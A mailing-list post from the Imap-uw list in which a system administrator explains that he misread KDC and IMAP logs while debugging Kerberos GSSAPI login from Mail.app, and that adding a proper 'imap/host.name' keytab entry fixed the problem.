Kerberos ticket for "host/host.name". I misinterpreted the log files. Our KDC logged this TGS_REQ (7 etypes {...}) 128.100.x.y(88): ISSUE: authtime 1144433149, etypes {...}, test-account@UTORONTO.CA for host/host.name@UTORONTO.CA and I assumed that the transaction was initiated by Mail.app, which had requested the password and the IMAP session failed. And imapd logged this: Failed to acquire credentials for imap/host.name@UTORONTO.CA and I assumed the two events were directly related. If I'd looked closer the timestamps were a minute apart (KDC and IMAP servers are NTP-synced). What happened? I'd turned one SSH session into log watcher "tail -f / var/log/mail". After Mail.app failed, I decided to create a second session. Mail.app had saved the Kerberos credentials and ssh found them, so it requested Kerberos token for the remote host. That failed and ssh silently fell back to using identities and keys, so I was none the wiser. I experimented with several keytabs, but it seems I'd never replayed test with a proper keytab entry for "imap/host.name". With that entry, Mail.app's Kerberos (GSSAPI) authentication works as expected. Paul _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw